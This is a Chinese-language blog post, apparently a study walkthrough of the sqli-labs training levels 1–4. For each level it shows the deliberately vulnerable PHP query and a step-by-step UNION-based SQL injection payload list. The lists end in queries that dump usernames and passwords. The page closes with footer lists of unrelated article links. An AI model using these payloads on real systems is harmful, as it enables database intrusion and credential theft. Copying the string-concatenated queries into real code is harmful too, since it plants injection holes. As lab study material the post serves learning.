前言

之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉。。。 垃圾的我只能继续硬着头皮重新再来学习,再来闯。

第一关:字符型注入

字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对双引号引起来。
字符型注入代码示例:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入
2 ' and 1=1 %23
3 判断字段
4 ' order by 3 %23
5 判断位置
6 id=-2' union select 1,2,3%23
7 爆版本及数据库名
8 id=-2' union select 1,version(),database()%23
9 爆当前数据库下表名
10 id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
11 爆字段
12 id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
13 爆字段下的数据
14 id=-2' union select 1,group_concat(username,password),2 from users %23

第二关:数字型注入

数字型注入就是注入点的数据类型是数字型,没有用单引号引起来。数字型注入的示例代码:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入(经过判断是数值型的很好注入 )
2 id=1 and 1=1
3 id=1 and 1=2
4 判断字段数量
5 id=1 order by 3
6 判断字段位置(这里需要改id=0或其他导致错误页面 才能显示位置)
7 id=0 union select 1,2,3
8 爆出数据库版本及当前数据库名称
9 id=0 union select 1,version(),database()
10 爆出当前数据库表
11 id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
12 爆出表忠的字段
13 id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
14 爆出字中的数据
15 id=0 union select 1,group_concat(username,password),3 from users;

第三关:基于错误的GET单引号变形字符型注入

核心代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload:

 1 id=2'报错分析出此sql语句有括号(
2 判断注入
3 id=2') and 1=1 %23 (根据报错信息看到 sql在)里面所以)
4 id=2') and 1=2 %23
5 判断注入我们发现 报错爆出 我们id后面的语句在括号里面所以我们要闭合括号进行判断 另外它是字符类型注入 所以我们要用注释 注释掉最后面的单引号
6 id=2') and 1=1 --+
7 id=2') and 1=2 --+
8 判断字段数量
9 id=2') order by 3 %23
10 判断字段位置
11 id=0') union select 1,2,3 %23
12 爆数据库表
13 id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
14 爆数据库表下的字段
15 id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
16 爆字段下的数据
17 id=0') union select 1,group_concat(username,password),3 from users --+

第四关:(基于错误的GET双引号字符型注入)

核心代码:

1 $id = '"' . $id . '"';
2 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload:

 1 id=2" 双引号报错
2
3 id=2") and 1=1 --+
4 id=2") and 1=2 --+
5 id=2") order by 3 --+
6 id=-2") union select 1,2,3 --+
7 id=-2") union select 1,database(),version() --+
8 id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
9 id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
10 id=-2") union select 1,group_concat(username),group_concat(password) from users --+

最新文章

  1. 关于Spring的构造函数,init-method,和依赖注入的先后顺序
  2. (转)c#.net常用字符串函数
  3. java 集合归类
  4. 把一个序列转换成严格递增序列的最小花费 CF E - Sonya and Problem Wihtout a Legend
  5. Socket 两平台互相 通信 .NET
  6. UML建模之活动图介绍(Activity Diagram)
  7. hbase 单机模式安装
  8. C++中const
  9. msf常用命令
  10. 开通阿里云 CDN
  11. 新建maven项目遇到Select an Archetype时没有maven-archetype-webapp处理方法
  12. include指令与include动作的区别(面试要考)
  13. 动画:UIViewAnimationOptions类型
  14. 【深度学习篇】--神经网络中的调优一,超参数调优和Early_Stopping
  15. MD5加密文件
  16. Asp.Net Mvc项目初始化说明
  17. Android Service总结03 之被启动的服务 -- Started Service
  18. minikube
  19. sdk manager 代理,解决下载速度慢的问题
  20. Visual Studio效率神器——超级扩展ReSharper安装和破解

热门文章

  1. IDEA 半天卡住buid(编译)不动
  2. xUtils简介和使用方法
  3. HBase进阶
  4. postMessage 跨域
  5. Codeforces Round #679 (Div. 2, based on Technocup 2021 Elimination Round 1)
  6. python 作业 批量读取excel文件并合并为一张excel
  7. JAVA概述-JAVA入门基础
  8. 权值线段树&amp;&amp;可持久化线段树&amp;&amp;主席树
  9. CSS动画之转换模块
  10. NB-IOT关键技术分析